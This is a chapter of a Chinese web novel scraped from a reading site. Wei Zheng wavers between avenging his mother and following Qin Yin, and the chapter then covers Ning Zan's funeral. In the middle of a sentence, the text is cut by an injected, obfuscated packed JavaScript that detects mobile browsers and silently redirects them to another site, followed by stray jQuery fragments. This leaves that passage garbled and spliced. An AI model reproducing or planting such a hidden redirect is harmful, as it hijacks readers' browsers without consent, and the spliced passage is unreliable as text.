默认冷灰
24号文字
方正启体

83. 报仇

作者:清瓜花子本书字数:K更新时间:
    从马车上下来,卫琤亦步亦趋的跟在秦音的后头,秦音看到前面露出一角的院子,转身对卫琤道:“你回去休息吧,放心,我没事的,不用担心我。”


    卫琤欲言又止,安静的看着秦音,久到秦音以为要同卫琤在这里站一夜时,他才终于开口:“早点休息。”


    在这儿站了半天只为说这一句?


    秦音虽然心有疑惑,但还是笑着同他说:“你也是。”


    说罢,转身朝自己院子走去。


    目送秦音进去之后,卫琤也快速回了自己的院子,一番梳洗后却没急着睡下,而是点灯在书桌前坐下,取出一张纸来,提笔欲写。


    只是刚写下“纪晴周”三字,脑袋里却又浮现秦音在亭下接雨的画面,雨下她带着如雾般的哀伤。也许那日在宁家村里躲雨,她蒙着眼的纱布下也是这样的哀伤,让人忍不住想抱紧她,揉进怀里拍拍她。


    想到两人初见时,她一袭绿裙立在树林中,那时他真以为是哪棵树仙化了人形,本来不想多管闲事,但她脑后飘逸的带子勾得他不自觉的拔剑出鞘。


    逞了个英雄,本想学说书人口中的侠客那样事了拂衣去。却被她那一声“英雄留步”绊住了脚跟,忍不住跟着她来到了一个馄饨摊前,吃了他浪迹许久以来的第一顿热汤。


    他吃的很慢,吃了很多。秦音也不介意,还郑重其事的向他介绍:“我叫秦音,音律的音,家里人一般喊我昭乐。”


    那时卫琤就想,怎么会有那么巧的事情,自己找了许久的人竟然这么偶然的出现在他的面前,他放下汤碗不放心的问了一遍:“北梁帝的女儿,昭乐公主?”


    “你认识我?”被纱布遮去大半的面庞仍能看出她的吃惊,随即她嘴角抿成一条直线,露出他那时不懂的苦笑,“定是听说过我的事情吧?那知道是我,这馄饨你还吃得下去吗?”


    当然吃不下去了,他都吃饱了。


    也许是神鬼作怪,一时间竟随意扯了一个自己听起来都假的谎言,留在她身边做了她的侍卫。


    意识到自己捂着的嘴巴带着笑意,晃动的烛火让他回神,才发现自己竟然出神想了这么多事情。


    卫琤正了正神色,想提笔却又是一顿。


    自己竟然不知不觉间将秦音的模样画在了纸上,也不知是什么时候将所想之人跃然纸上,这纸定是用不了了,他又舍不得扔。只是上面写的“纪晴周”三字,越看越难看。他落笔将这三字涂成一团,化作粗壮的树枝,从树枝蔓延出的枝丫遮在她头顶。


    像春天傲然的生机,一如秦音坚韧的性子。卫琤左瞧右瞧,为自己的画作满意的不得了


    将纸小心翼翼的放在一旁,卫琤取了张干净的纸,再提笔写下。


    既然决定随秦音一起去兆州,他想还是通知纪家一声,毕竟纪家于他有恩。想到纪晴周那一惊一乍的样子,他思虑再三,写下“祝夫人亲启”几字。


    “因卫琤私心,恐无法前往束口......”


    卫琤承认自己的私心,但又怕自己的私心会给秦音带来麻烦。即使在写信前脑中想了千遍的话,要落在纸上时依旧不知该如何下笔。


    这时,一阵“咕咕”声打断卫琤的思绪。他闻声望去,鸽子扑腾落在他的窗边,时不时用嘴啄它带灰点的翅膀。


    卫琤微微有些惊讶,没想到会在此时收到纪晴周的信。他将纸条从鸽子脚上取下,小家伙也不着急飞,从窗户口飞到卫琤的肩膀上,卫琤也没去理它,自顾自的将手里的纸条打开。


    打开前他就能猜到纪晴周的愤怒,可他没想到的是,整整一页纸,通篇都是对他不去束口的控诉,只在最后提了一嘴:“听说你做了别人的面首?”


    卫琤闭了闭眼,也不知道纪晴周从哪里得来的这个消息。他与秦音清清白白,哪里来的面首啊。


    从前听到“面首”二字,他深觉这是侮辱了自己。可现在一想到被人误会是秦音的面首,他耳朵开始变得发烫,特别是想到面首的身份与秦音的关系,他脑子里开始变得不正经,万般羞涩写在脸上。


    之后照旧,他将纸条挪到蜡烛前燃烧,却意外看到纸条背后的字,清晰的钻入他的眼底。


    “卫琤,你不想报仇了吗?”


    纸条被烛火瞬间燃烧成灰烬,直到指尖传来灼伤之感,卫琤才蓦地回神,急忙将手里的残纸松开,挥了挥被烫伤的手。他握住指尖,愣愣的出神。


    报仇,怎么会不想报仇呢?他恨之入骨的人还享受着荣华富贵呢,他怎么会放弃报仇!


    只是卫琤没想明白的是,他竟然会在为母亲报仇和陪秦音去兆州间迟疑。


    一阵鸡鸣从远处传来,卫琤转头见天边已露微光,他将原本想写的信揉成一团烧掉,指尖碰到下面那张秦音的画像时,他眼眸微动,里面藏着他自己都不懂的情绪。他轻轻将画拿起,又小心翼翼的将它夹在了书本的一页。


    诸事烦我心,不如大梦一场去。


    卫琤和衣躺在床上,虽然没有半分睡意,瞪得老大的眼睛直直望着头顶的轻纱许久,渐渐的不知何时睡了过去。


    *


    一阵雨将九陵带入了秋日的萧瑟,在白露时节,徐家为刚认祖归宗的女儿举行了葬礼。徐家早年丢了孩子的事情,老一辈的九陵人都知道。为此,许多人为徐家唏嘘,好不容易找了女儿,却是天人永隔,听闻徐大当家一夜之间白了头。


    徐家的葬礼办的简单又隆重,徐大小姐的灵堂前跪着零散的几个人。


    宁婆望着女儿的灵牌哭得泣不成声,宁润一边安抚着情绪激动的母亲,一边也止不住的落泪。


    跪在一旁的徐俨已经哭不出来,满头的白发在挥动的灵幡下更显颓唐。他转了转片刻没动的眼睛,落在一旁的徐倨身上,眼神里藏着怨恨与痛惜。


    徐倨戴着满身的镣铐,双膝跪地,头嗑在地上一动不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032029|191466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动。秦音特地让方元在今日将他带到了宁簪的灵堂前,点了他的穴道,让他在这里久跪不起。他脑袋深深的贴在地上,也不知道是何感想。


    秦音穿着一身素衣跪在后面,每每将视线转移到宁簪的牌位上,她才反应过来宁簪已经不在了。


    不是去宁家村就能找到她,不是去有客来就能找到她。而是关于宁簪的音容笑貌只留在她的记忆里和别人的口中,触不到、摸不到、见不到。


    道士奏鼓,纸钱纷飞,宁润披麻戴孝,捧着宁簪的灵位走在前头。杠夫抬灵,徐俨扶灵,连伊搀扶着快哭瞎的宁婆走在后头。秦音随大部队往前走,一步步走过宁簪生前之路。


    每到一处,秦音脑中都能浮现与宁簪相处的场景。她们在有客来聊天、在逢鹊桥下放花灯、在公主府共读、在宁家村游玩。秦音在九陵的每一段记忆里,都有宁簪的身影。


    队伍绕九陵走了大半,最终在一个街口与另一对丧葬队伍重逢,两队并没有相互让道,反而是并排而行,队伍逐渐壮大。


    同样披麻戴孝的王湖捧着弟弟的灵牌,走在宁润的旁边。


    王湖呆滞的目光在看到宁润手里的灵位时,苦笑道:“如果我们此时吵一架,他们还会不会来劝架?”


    宁润抬了抬半拉着眼皮,同样苦笑一声:“不会了,他只会带走阿姐,躲开我们。”


    “是啊,躲开我们去了。”


    唢呐吹得震天响,两人的话也随风而散。


    队伍来到徐家陵墓,走过徐家先人安眠地。徐俨立在一个坟前,从怀里掏出一块帕子,细细将墓碑上带着的雨水擦去:“夫人,欢一来了。”


    雨后初霁,天气晴好,在唢呐鼓角的交错下,杠夫将两个棺材一一葬在徐夫人的旁边。


    “阿簪啊!!”宁婆一声凄厉的哭声比唢呐还尖锐半分。


    秦音看着纷纷低头抹泪的众人,眼角也落下一滴泪来。


    泪水滴入掌心,秦音抬头看向用手接住自己眼泪的卫琤,见他眼里满是担忧,她伸手擦了擦眼角,朝他轻轻摇了摇头。


    卫琤将手并拢,那滴泪很快在他在手心化开,却留有余温在手心灼烧。


    入梅见秦音这般难过,轻轻抚了抚她的背,又走到暗自垂泪的徐俨旁边宽慰道:“徐大当家,宁姑娘向来爱笑,切莫过度伤怀,以免伤了身体。”


    “多谢姑娘。”徐俨将脑袋抬起,勉强的朝入梅扯出一抹笑来,见她盯着徐夫人另一边的坟包看,解释道,“哦,那原是我为欢一立的衣冠冢。当时人人都劝我立个衣冠冢让欢一魂魄安息,我虽然一直没放弃寻找她,可也怕她万一......竟没想到白发人送黑发人两次。也许是上辈子遭了太多孽,今生才落得妻逝子亡的下场!”


    入梅不忍,又安慰了几句才让徐俨止住了哭泣。松了口气的她回到秦音旁边,又忍不住朝那衣冠冢看了看,却没瞧出什么眉目来,只好作罢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)